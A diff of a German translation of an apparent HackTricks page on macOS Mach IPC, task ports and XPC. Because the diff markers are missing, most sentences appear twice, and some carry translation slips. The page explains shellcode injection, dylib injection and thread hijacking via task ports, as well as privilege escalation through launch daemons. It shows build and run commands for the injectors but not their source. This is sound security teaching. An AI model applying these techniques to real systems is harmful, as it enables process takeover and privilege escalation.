**Tasks können SEND-Rechte an andere übertragen**, wodurch diese in der Lage sind, Nachrichten zurückzusenden. **SEND-Rechte können auch kloniert werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
**Tasks können SEND-Rechte an andere übertragen**, die es ihnen ermöglichen, Nachrichten zurückzusenden. **SEND-Rechte können auch kloniert werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
### Datei-Ports
Datei-Ports ermöglichen es, Dateideskriptoren in Mach-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports zu kapseln (unter Verwendung von Mach-Port-Rechten). Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
### Eine Kommunikation herstellen
Wie bereits erwähnt, ist es möglich, Rechte mit Mach-Nachrichten zu senden, jedoch **kann man kein Recht senden, ohne bereits ein Recht zu haben**, um eine Mach-Nachricht zu senden. Wie wird also die erste Kommunikation hergestellt?
Dafür ist der **Bootstrap-Server** (**launchd** in mac) beteiligt, da **jeder ein SEND-Recht zum Bootstrap-Server erhalten kann**, ist es möglich, ihn um ein Recht zu bitten, um eine Nachricht an einen anderen Prozess zu senden:
Dafür ist der **Bootstrap-Server** (**launchd** in Mac) beteiligt, da **jeder ein SEND-Recht zum Bootstrap-Server erhalten kann**, ist es möglich, ihn um ein Recht zu bitten, um eine Nachricht an einen anderen Prozess zu senden:
1. Task **A** erstellt einen **neuen Port** und erhält das **EMPFANGSRECHT** dafür.
1. Task **A** erstellt einen **neuen Port** und erhält das **EMPFAHRECHT** dafür.
2. Task **A**, als Inhaber des Empfangsrechts, **generiert ein SEND-Recht für den Port**.
3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und **sendet ihm das SEND-Recht** für den Port, den sie zu Beginn generiert hat.
- Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
@ -51,21 +51,21 @@ Dafür ist der **Bootstrap-Server** (**launchd** in mac) beteiligt, da **jeder e
5. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Dienstnamen** (`bootstrap_lookup`) durchzuführen. Damit der Bootstrap-Server antworten kann, sendet Task B ihm ein **SEND-Recht zu einem Port, den es zuvor erstellt hat**, innerhalb der Suchnachricht. Wenn die Suche erfolgreich ist, **dupliziert der Server das SEND-Recht**, das von Task A empfangen wurde, und **überträgt es an Task B**.
- Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
6. Mit diesem SEND-Recht ist **Task B** in der Lage, eine **Nachricht** **an Task A** zu **senden**.
7. Für eine bidirektionale Kommunikation generiert normalerweise Task **B** einen neuen Port mit einem **EMPFANGS**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A**, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
7. Für eine bidirektionale Kommunikation generiert normalerweise Task **B** einen neuen Port mit einem **EMPFAHRECHT** und einem **SENDE-Recht** und gibt das **SEND-Recht an Task A**, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
Der Bootstrap-Server **kann den Dienstnamen, der von einer Task beansprucht wird, nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsdienstnamen beansprucht** und dann jede Anfrage genehmigt.
Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Dienstnamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFANGSRECHT für jeden dieser Dienstnamen** erstellen und halten.
Dann speichert Apple die **Namen der systembereitgestellten Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Dienstnamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFAHRECHT für jeden dieser Dienstnamen** erstellen und halten.
Für diese vordefinierten Dienste unterscheidet sich der **Suchprozess leicht**. Wenn ein Dienstname gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
- Task **B** initiiert eine Bootstrap-**Suche** nach einem Dienstnamen.
- **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie.
- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** (`bootstrap_check_in()`) durch. Hier erstellt der **Bootstrap**-Server ein SEND-Recht, behält es und **überträgt das EMPFANGSRECHT an Task A**.
- **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie ihn.
- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** (`bootstrap_check_in()`) durch. Hier erstellt der **Bootstrap**-Server ein SEND-Recht, behält es und **überträgt das EMPFAHRECHT an Task A**.
- launchd dupliziert das **SEND-Recht und sendet es an Task B**.
- Task **B** generiert einen neuen Port mit einem **EMPFANGS**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
- Task **B** generiert einen neuen Port mit einem **EMPFAHRECHT** und einem **SENDE-Recht** und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Imitation ermöglichen könnte.
Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
> [!CAUTION]
> Daher sollte launchd niemals abstürzen, sonst stürzt das gesamte System ab.
@ -85,17 +85,17 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Prozesse, die über ein _**Empfangsrecht**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendern** ein _**Senderecht**_ oder ein _**Send-einmal-Recht**_ gewährt. Das Send-einmal-Recht ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendenden** ein _**send**_ oder ein _**send-once right**_ gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
Das anfängliche Feld **`msgh_bits`** ist ein Bitmap:
- Das erste Bit (am signifikantesten) wird verwendet, um anzuzeigen, dass eine Nachricht komplex ist (mehr dazu weiter unten)
- Das 3. und 4. Bit werden vom Kernel verwendet
- Die **5 am wenigsten signifikanten Bits des 2. Bytes** können für **Voucher** verwendet werden: ein anderer Typ von Port, um Schlüssel/Wert-Kombinationen zu senden.
- Die **5 am wenigsten signifikanten Bits des 3. Bytes** können für **lokalen Port** verwendet werden
- Die **5 am wenigsten signifikanten Bits des 4. Bytes** können für **remote Port** verwendet werden
- Das 3. und 4. werden vom Kernel verwendet
- Die **5 am wenigsten signifikanten Bits des 2. Bytes** können für **voucher** verwendet werden: ein anderer Typ von Port, um Schlüssel/Wert-Kombinationen zu senden.
- Die **5 am wenigsten signifikanten Bits des 3. Bytes** können für **local port** verwendet werden
- Die **5 am wenigsten signifikanten Bits des 4. Bytes** können für **remote port** verwendet werden
Die Typen, die im Voucher, lokalen und remote Ports angegeben werden können, sind (aus [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
Die Typen, die im Voucher, lokalen und entfernten Ports angegeben werden können, sind (aus [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
@ -108,14 +108,14 @@ Die Typen, die im Voucher, lokalen und remote Ports angegeben werden können, si
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
```
Für example, `MACH_MSG_TYPE_MAKE_SEND_ONCE` kann verwendet werden, um anzuzeigen, dass ein **send-once** **Recht** abgeleitet und für diesen Port übertragen werden sollte. Es kann auch `MACH_PORT_NULL` angegeben werden, um zu verhindern, dass der Empfänger antworten kann.
Zum Beispiel kann `MACH_MSG_TYPE_MAKE_SEND_ONCE` verwendet werden, um anzuzeigen, dass ein **send-once** **Recht** für diesen Port abgeleitet und übertragen werden sollte. Es kann auch `MACH_PORT_NULL` angegeben werden, um zu verhindern, dass der Empfänger antworten kann.
Um eine einfache **zweiseitige Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann.
Um eine einfache **bidirektionale Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann.
> [!TIP]
> Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.
> Beachten Sie, dass diese Art der bidirektionalen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die bidirektionale Kommunikation zu ermöglichen.
Die anderen Felder des Nachrichtenkopfes sind:
Die anderen Felder des Nachrichtenkopfs sind:
- `msgh_size`: die Größe des gesamten Pakets.
- `msgh_remote_port`: der Port, über den diese Nachricht gesendet wird.
@ -125,13 +125,13 @@ Die anderen Felder des Nachrichtenkopfes sind:
> [!CAUTION]
> Beachten Sie, dass **mach-Nachrichten über einen `mach port` gesendet werden**, der ein **einzelner Empfänger**, **mehrere Sender** Kommunikationskanal ist, der im mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** davon lesen.
Nachrichten werden dann durch den **`mach_msg_header_t`** Kopf gebildet, gefolgt vom **Inhalt** und vom **Trailer** (falls vorhanden), und es kann die Erlaubnis erteilt werden, darauf zu antworten. In diesen Fällen muss der Kernel die Nachricht nur von einer Aufgabe zur anderen weiterleiten.
Nachrichten werden dann durch den **`mach_msg_header_t`** Kopf gefolgt von dem **Inhalt** und dem **Trailer** (falls vorhanden) gebildet, und es kann die Erlaubnis erteilt werden, darauf zu antworten. In diesen Fällen muss der Kernel die Nachricht nur von einer Aufgabe zur anderen weiterleiten.
Ein **Trailer** ist **Informationen, die vom Kernel zur Nachricht hinzugefügt werden** (kann nicht vom Benutzer festgelegt werden), die beim Empfang der Nachricht mit den Flags `MACH_RCV_TRAILER_<trailer_opt>` angefordert werden können (es gibt verschiedene Informationen, die angefordert werden können).
#### Komplexe Nachrichten
Es gibt jedoch auch andere, **komplexere** Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das signifikanteste Bit des Kopfes `msgh_bits` gesetzt.
Es gibt jedoch auch andere, **komplexere** Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das signifikanteste Bit des Headers `msgh_bits` gesetzt.
Die möglichen Deskriptoren, die übergeben werden können, sind in [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) definiert:
```c
@ -150,12 +150,12 @@ unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
```
In 32-Bit sind alle Deskriptoren 12B und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit variieren die Größen.
In 32-Bit-Systemen sind alle Deskriptoren 12B groß, und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit-Systemen variieren die Größen.
> [!CAUTION]
> Der Kernel kopiert die Deskriptoren von einer Aufgabe zur anderen, erstellt jedoch zuerst **eine Kopie im Kernel-Speicher**. Diese Technik, bekannt als "Feng Shui", wurde in mehreren Exploits missbraucht, um den **Kernel dazu zu bringen, Daten in seinem Speicher zu kopieren**, wodurch ein Prozess Deskriptoren an sich selbst sendet. Dann kann der Prozess die Nachrichten empfangen (der Kernel wird sie freigeben).
>
> Es ist auch möglich, **Portrechte an einen verwundbaren Prozess zu senden**, und die Portrechte werden einfach im Prozess angezeigt (auch wenn er sie nicht verwaltet).
> Es ist auch möglich, **Portrechte an einen verwundbaren Prozess zu senden**, und die Portrechte werden einfach im Prozess erscheinen (auch wenn er sie nicht verwaltet).
### Mac Ports APIs
@ -170,11 +170,11 @@ Beachten Sie, dass Ports mit dem Aufgabennamespace verknüpft sind. Um einen Por
- `mach_port_allocate`: Weisen Sie einen neuen RECEIVE, PORT_SET oder DEAD_NAME zu
- `mach_port_insert_right`: Erstellen Sie ein neues Recht in einem Port, in dem Sie RECEIVE haben
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: Funktionen, die verwendet werden, um **Mach-Nachrichten zu senden und zu empfangen**. Die Überschreibversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).
- **`mach_msg`** | **`mach_msg_overwrite`**: Funktionen, die verwendet werden, um **mach-Nachrichten zu senden und zu empfangen**. Die Überschreibungsversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).
### Debug mach_msg
Da die Funktionen **`mach_msg`** und **`mach_msg_overwrite`** die sind, die verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.
Da die Funktionen **`mach_msg`** und **`mach_msg_overwrite`** verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.
Zum Beispiel starten Sie das Debuggen einer beliebigen Anwendung, die Sie debuggen können, da sie **`libSystem.B` laden wird, die diese Funktion verwendet**.
@ -279,7 +279,7 @@ Sie können dieses Tool auf iOS installieren, indem Sie es von [http://newosxboo
### Codebeispiel
Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht** zu **senden**.
Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht zu senden**.
{{#tabs}}
{{#tab name="receiver.c"}}
@ -424,23 +424,23 @@ Die Ports, die **ab** der Nummer **8** beginnen, sind **im Besitz von System-Dae
- `host_virtual_physical_table_info`: Virtuelle/Physische Seitentabelle (erfordert MACH_VMDEBUG)
- `host_statistics`: Hoststatistiken abrufen
- `mach_memory_info`: Kernel-Speicherlayout abrufen
- **Host Priv-Port**: Ein Prozess mit **SEND**-Rechten über diesen Port kann **privilegierte Aktionen** ausführen, wie das Anzeigen von Bootdaten oder den Versuch, eine Kernel-Erweiterung zu laden. Der **Prozess muss Root sein**, um diese Berechtigung zu erhalten.
- **Host-Priv-Port**: Ein Prozess mit **SEND**-Rechten über diesen Port kann **privilegierte Aktionen** ausführen, wie Bootdaten anzeigen oder versuchen, eine Kernel-Erweiterung zu laden. Der **Prozess muss Root** sein, um diese Berechtigung zu erhalten.
- Darüber hinaus ist es erforderlich, um die **`kext_request`**-API aufzurufen, andere Berechtigungen **`com.apple.private.kext*`** zu haben, die nur Apple-Binärdateien gewährt werden.
- Andere Routinen, die aufgerufen werden können, sind:
- `host_get_boot_info`: `machine_boot_info()` abrufen
- `host_priv_statistics`: Privilegierte Statistiken abrufen
- `vm_allocate_cpm`: Zusammenhängenden physischen Speicher zuweisen
- `vm_allocate_cpm`: Kontinuierlichen physischen Speicher zuweisen
- `host_processors`: Senderechte an Host-Prozessoren
- `mach_vm_wire`: Speicher resident machen
- Da **Root** auf diese Berechtigung zugreifen kann, könnte er `host_set_[special/exception]_port[s]` aufrufen, um **Host-Spezial- oder Ausnahmeports zu übernehmen**.
Es ist möglich, **alle Host-Spezialports** durch Ausführen von zu sehen:
Es ist möglich, **alle Host-Spezialports zu sehen**, indem man Folgendes ausführt:
```bash
procexp all ports | grep "HSP"
```
### Task Special Ports
Diese Ports sind für bekannte Dienste reserviert. Es ist möglich, sie mit `task_[get/set]_special_port` abzurufen/einzustellen. Sie sind in `task_special_ports.h` zu finden:
Diese Ports sind für bekannte Dienste reserviert. Es ist möglich, sie mit `task_[get/set]_special_port` abzurufen/zu setzen. Sie sind in `task_special_ports.h` zu finden:
```c
typedef int task_special_port_t;
@ -463,10 +463,10 @@ Ursprünglich hatte Mach keine "Prozesse", sondern "Aufgaben", die eher als Cont
Es gibt zwei sehr interessante Funktionen, die damit zusammenhängen:
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit der durch die `pid` angegebenen verbunden ist, und gib es an den angegebenen `target_task_port` weiter (der normalerweise die aufrufende Aufgabe ist, die `mach_task_self()` verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
- `pid_for_task(task, &pid)`: Finde, zu welcher PID diese Aufgabe gehört, wenn ein SEND-Recht für eine Aufgabe gegeben ist.
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit dem angegebenen `pid` verbunden ist, und gib es an den angegebenen `target_task_port` weiter (der normalerweise die aufrufende Aufgabe ist, die `mach_task_self()` verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
- `pid_for_task(task, &pid)`: Gegeben ein SEND-Recht zu einer Aufgabe, finde heraus, zu welcher PID diese Aufgabe gehört.
Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein `SEND`-Recht für sich selbst, indem sie `mach_task_self()` aufruft (was den `task_self_trap` (28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:
Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein `SEND`-Recht zu sich selbst, indem sie `mach_task_self()` aufruft (was den `task_self_trap` (28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:
- `task_threads`: Erhalte SEND-Recht über alle Task-Ports der Threads der Aufgabe
- `task_info`: Erhalte Informationen über eine Aufgabe
@ -487,7 +487,7 @@ Denke daran, dass, weil der **Kernel auch eine Aufgabe ist**, wenn es jemandem g
- Dies sind die Einschränkungen für den Zugriff auf den Port (aus `macos_task_policy` aus der Binärdatei `AppleMobileFileIntegrity`):
- Wenn die App die **`com.apple.security.get-task-allow`-Berechtigung** hat, können Prozesse vom **gleichen Benutzer auf den Task-Port zugreifen** (häufig von Xcode zum Debuggen hinzugefügt). Der **Notarisierungs**-Prozess erlaubt dies nicht für Produktionsversionen.
- Apps mit der **`com.apple.system-task-ports`**-Berechtigung können den **Task-Port für jeden** Prozess erhalten, außer für den Kernel. In älteren Versionen wurde es **`task_for_pid-allow`** genannt. Dies wird nur Apple-Anwendungen gewährt.
- **Root kann auf Task-Ports** von Anwendungen **nicht** zugreifen, die mit einer **hardened** Runtime (und nicht von Apple) kompiliert wurden.
- **Root kann auf Task-Ports** von Anwendungen **nicht** zugreifen, die mit einer **hardened** Laufzeit (und nicht von Apple) kompiliert wurden.
**Der Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch keine Kontrolle darüber. Das einzige, was anscheinend darüber verfügbar ist, ist `task_info()`.
@ -508,6 +508,7 @@ Jeder Thread kann diesen Port aufrufen, indem er **`mach_thread_sef`** aufruft.
Du kannst einen Shellcode von:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -768,18 +769,19 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
> [!TIP]
> Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung `dynamic-codesigning`, um ausführbaren Speicher beschreibbar zu machen.
> Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung `dynamic-codesigning`, um einen beschreibbaren Speicher ausführbar zu machen.
### Dylib-Injektion in den Thread über Task-Port
In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir in der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erstellt, daher ist er **nicht posix-konform**.
In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir bei der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erzeugt, daher ist er **nicht posix-konform**.
Es war möglich, **einen einfachen Shellcode** zu injizieren, um einen Befehl auszuführen, da er **nicht mit posix** konformen APIs arbeiten musste, sondern nur mit Mach. **Komplexere Injektionen** würden erfordern, dass der **Thread** ebenfalls **posix-konform** ist.
Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, was **einen gültigen pthread** erstellt. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, um einen gültigen pthread zu erstellen. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
Sie finden **Beispiel-dylibs** in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@ -1064,7 +1066,8 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
```
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
In dieser Technik wird ein Thread des Prozesses übernommen:
In dieser Technik wird ein Thread des Prozesses hijacked:
{{#ref}}
macos-thread-injection-via-task-port.md
@ -1097,12 +1100,12 @@ Darüber hinaus bietet die **Processor Set**-API eine Möglichkeit, mehrere Proz
Dies sind einige interessante APIs, um mit dem Prozessor-Set zu interagieren:
- `processor_set_statistics`
- `processor_set_tasks`: Gibt ein Array von Senderechten an alle Tasks im Prozessor-Set zurück
- `processor_set_threads`: Gibt ein Array von Senderechten an alle Threads im Prozessor-Set zurück
- `processor_set_tasks`: Gibt ein Array von Senderechten für alle Tasks im Prozessor-Set zurück
- `processor_set_threads`: Gibt ein Array von Senderechten für alle Threads im Prozessor-Set zurück
- `processor_set_stack_usage`
- `processor_set_info`
Wie in [**diesem Beitrag**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) erwähnt, ermöglichte dies in der Vergangenheit, den zuvor genannten Schutz zu umgehen, um Task-Ports in anderen Prozessen zu erhalten, um sie durch den Aufruf von **`processor_set_tasks`** zu steuern und einen Hostport für jeden Prozess zu erhalten.\
Wie in [**diesem Beitrag**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) erwähnt, ermöglichte dies in der Vergangenheit, den zuvor genannten Schutz zu umgehen, um Task-Ports in anderen Prozessen zu erhalten, um sie durch den Aufruf von **`processor_set_tasks`** zu steuern und einen Hostport in jedem Prozess zu erhalten.\
Heutzutage benötigt man Root-Rechte, um diese Funktion zu verwenden, und dies ist geschützt, sodass man diese Ports nur in ungeschützten Prozessen erhalten kann.
Sie können es mit folgendem versuchen:
@ -1220,6 +1223,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
For more information about how this **communication work** on how it **could be vulnerable** check:
{{#ref}}
macos-xpc/
{{#endref}}
@ -1232,6 +1236,7 @@ MIC basically **generates the needed code** for server and client to communicate
For more info check:
{{#ref}}
macos-mig-mach-interface-generator.md
{{#endref}}

View File

@ -8,7 +8,7 @@ XPC, was für XNU (den von macOS verwendeten Kernel) Inter-Process Communication
XPC verwendet eine Form der Inter-Process Communication (IPC), die eine Reihe von Methoden umfasst, damit verschiedene Programme, die auf demselben System laufen, Daten hin und her senden können.
Die Hauptvorteile von XPC sind:
Die wichtigsten Vorteile von XPC sind:
1. **Sicherheit**: Durch die Trennung der Arbeit in verschiedene Prozesse kann jedem Prozess nur die Berechtigung gewährt werden, die er benötigt. Das bedeutet, dass selbst wenn ein Prozess kompromittiert wird, er nur begrenzte Möglichkeiten hat, Schaden anzurichten.
2. **Stabilität**: XPC hilft, Abstürze auf die Komponente zu isolieren, in der sie auftreten. Wenn ein Prozess abstürzt, kann er neu gestartet werden, ohne den Rest des Systems zu beeinträchtigen.
@ -18,11 +18,11 @@ Der einzige **Nachteil** ist, dass **die Trennung einer Anwendung in mehrere Pro
## Anwendungsspezifische XPC-Dienste
Die XPC-Komponenten einer Anwendung befinden sich **innerhalb der Anwendung selbst.** Zum Beispiel finden Sie sie in **`/Applications/Safari.app/Contents/XPCServices`**. Sie haben die Erweiterung **`.xpc`** (wie **`com.apple.Safari.SandboxBroker.xpc`**) und sind **auch Bundles** mit der Haupt-Binärdatei darin: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` und eine `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Die XPC-Komponenten einer Anwendung befinden sich **innerhalb der Anwendung selbst.** Zum Beispiel finden Sie sie in Safari unter **`/Applications/Safari.app/Contents/XPCServices`**. Sie haben die Erweiterung **`.xpc`** (wie **`com.apple.Safari.SandboxBroker.xpc`**) und sind **auch Bundles** mit der Haupt-Binärdatei darin: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` und eine `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Wie Sie vielleicht denken, wird eine **XPC-Komponente andere Berechtigungen und Privilegien** haben als die anderen XPC-Komponenten oder die Hauptanwendungs-Binärdatei. AUSGENOMMEN, wenn ein XPC-Dienst mit [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) auf „Wahr“ in seiner **Info.plist**-Datei konfiguriert ist. In diesem Fall wird der XPC-Dienst in der **gleichen Sicherheits-Sitzung wie die Anwendung** ausgeführt, die ihn aufgerufen hat.
Wie Sie vielleicht denken, wird eine **XPC-Komponente andere Berechtigungen und Privilegien** haben als die anderen XPC-Komponenten oder die Hauptanwendungs-Binärdatei. AUSGENOMMEN, wenn ein XPC-Dienst mit [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) auf „True“ in seiner **Info.plist**-Datei konfiguriert ist. In diesem Fall wird der XPC-Dienst in der **gleichen Sicherheits-Sitzung wie die Anwendung** ausgeführt, die ihn aufgerufen hat.
XPC-Dienste werden von **launchd** gestartet, wenn sie benötigt werden, und **heruntergefahren**, sobald alle Aufgaben **abgeschlossen** sind, um Systemressourcen freizugeben. **Anwendungsspezifische XPC-Komponenten können nur von der Anwendung genutzt werden**, wodurch das Risiko im Zusammenhang mit potenziellen Schwachstellen verringert wird.
XPC-Dienste werden von **launchd** gestartet, wenn sie benötigt werden, und **heruntergefahren**, sobald alle Aufgaben **abgeschlossen** sind, um Systemressourcen freizugeben. **Anwendungsspezifische XPC-Komponenten können nur von der Anwendung** genutzt werden, wodurch das Risiko im Zusammenhang mit potenziellen Sicherheitsanfälligkeiten verringert wird.
## Systemweite XPC-Dienste
@ -62,7 +62,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict>
</plist>
```
Die in **`LaunchDameons`** sind unter root aktiv. Wenn ein unprivilegierter Prozess mit einem dieser kommunizieren kann, könnte er in der Lage sein, Privilegien zu eskalieren.
Die in **`LaunchDameons`** enthaltenen Prozesse werden von root ausgeführt. Wenn ein unprivilegierter Prozess mit einem dieser Prozesse kommunizieren kann, könnte er in der Lage sein, Privilegien zu eskalieren.
## XPC-Objekte
